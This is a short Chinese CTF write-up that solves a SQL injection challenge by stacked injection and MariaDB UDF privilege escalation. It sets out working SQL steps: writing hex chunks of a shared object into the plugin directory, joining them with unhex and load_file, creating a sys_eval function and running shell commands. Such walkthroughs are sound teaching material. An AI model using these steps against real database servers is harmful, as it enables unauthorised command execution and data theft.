SQL注入里面的题目,要用udf提权。注入方式是堆叠注入,一般就是常用思路挨个试https://ccship.cn/2021/10/21/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/#toc-head-12
关于udf提权,可以看这两篇文章:
https://www.sqlsec.com/2020/11/mysql.html#%E5%86%99%E5%85%A5%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93
https://www.freebuf.com/articles/database/291175.html
so和dll文件内容在这里:
https://www.sqlsec.com/tools/udf.html
先查看当前用户名和plugin目录:
select user(); show variables like 'plugin%';
->当前用户:root
->插件目录:/usr/lib/mariadb/plugin/
这道题直接一下子写进去是不行的,url太长直接被拒绝,所以要分成几个部分分别写入,直接把16进制部分的文本写到三个文件里面(不要写入解码之后的文本,合在一起转码的时候会出问题)
SELECT '7f...' INTO DUMPFILE '/usr/lib/mariadb/plugin/a.txt'; ...
写入之后可以查看一下有没有写入成功:
SELECT load_file('/usr/lib/mariadb/plugin/a.txt');
把三个文件里面的16进制文本合在一起,然后用unhex函数解码后写入:
注意,目标so文件写入的内容的16进制化之后才是那一串16进制数而不是写入16进制数本身
select 0x7f... into dumpfile ...是写入的16进制数对应的字符串,那一串16进制数应该作为数字被写入(写入的是字符串),作为字符串被写入时需要通过unhex函数解码
SELECT unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'))) INTO DUMPFILE '/usr/lib/mariadb/plugin/udf64.so';
创建新函数:
create function sys_eval returns string soname 'udf64.so';
执行命令:
select sys_eval('tac /f*');
文章评论